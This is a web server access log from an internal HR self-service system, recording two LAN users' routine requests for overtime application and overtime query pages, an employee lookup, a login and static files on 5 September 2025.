192.168.12.100 - - [05/Sep/2025:08:39:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:39:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.68 - - [05/Sep/2025:08:39:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4070 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:39:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4070
192.168.12.100 - - [05/Sep/2025:08:39:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:39:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:39:12 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:12 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.12.100 - - [05/Sep/2025:08:39:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:39:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.68 - - [05/Sep/2025:08:39:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:39:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.100 - - [05/Sep/2025:08:39:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:39:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:39:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:39:23 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:23 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.12.100 - - [05/Sep/2025:08:39:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:39:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.12.100 - - [05/Sep/2025:08:39:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.68 - - [05/Sep/2025:08:39:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18842634595665342 HTTP/1.1" 200 8988
192.168.11.68 - - [05/Sep/2025:08:39:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18842634595665342 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.100 - - [05/Sep/2025:08:39:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29
192.168.12.100 - - [05/Sep/2025:08:39:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29
192.168.11.68 - - [05/Sep/2025:08:39:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18842634595665342 HTTP/1.1" 200 27500
192.168.11.68 - - [05/Sep/2025:08:39:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18842634595665342 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.18842634595665342" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:39:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4490 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:39:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4490
192.168.12.100 - - [05/Sep/2025:08:39:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:39:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:40:00 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:40:00 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112
192.168.11.68 - - [05/Sep/2025:08:40:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.68 - - [05/Sep/2025:08:40:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:40:02 +0800] "GET /eHR/js/date.js HTTP/1.1" 304 -
192.168.11.68 - - [05/Sep/2025:08:40:02 +0800] "GET /eHR/js/date.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:40:02 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 304 -
192.168.11.68 - - [05/Sep/2025:08:40:02 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.100 - - [05/Sep/2025:08:40:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:40:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.12.100 - - [05/Sep/2025:08:40:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168951
192.168.12.100 - - [05/Sep/2025:08:40:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168951 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.68 - - [05/Sep/2025:08:40:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31682637357208454 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:40:14 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31682637357208454 HTTP/1.1" 200 8988
192.168.11.68 - - [05/Sep/2025:08:40:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31682637357208454 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31682637357208454" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:40:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.31682637357208454 HTTP/1.1" 200 27500
192.168.11.68 - - [05/Sep/2025:08:40:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:40:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069
192.168.12.100 - - [05/Sep/2025:08:40:40 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:40:40 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826
192.168.11.68 - - [05/Sep/2025:08:40:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:40:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921
192.168.12.100 - - [05/Sep/2025:08:40:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.100 - - [05/Sep/2025:08:40:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:40:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.100 - - [05/Sep/2025:08:40:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:40:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.12.100 - - [05/Sep/2025:08:40:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.68 - - [05/Sep/2025:08:40:53 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:40:53 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.68 - - [05/Sep/2025:08:40:53 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:40:53 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.11.68 - - [05/Sep/2025:08:40:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 15333 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [05/Sep/2025:08:40:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 15333
192.168.12.100 - - [05/Sep/2025:08:40:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:40:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.12.100 - - [05/Sep/2025:08:40:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167422 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:40:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167422
192.168.12.100 - - [05/Sep/2025:08:41:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.100 - - [05/Sep/2025:08:41:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.12.100 - - [05/Sep/2025:08:41:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
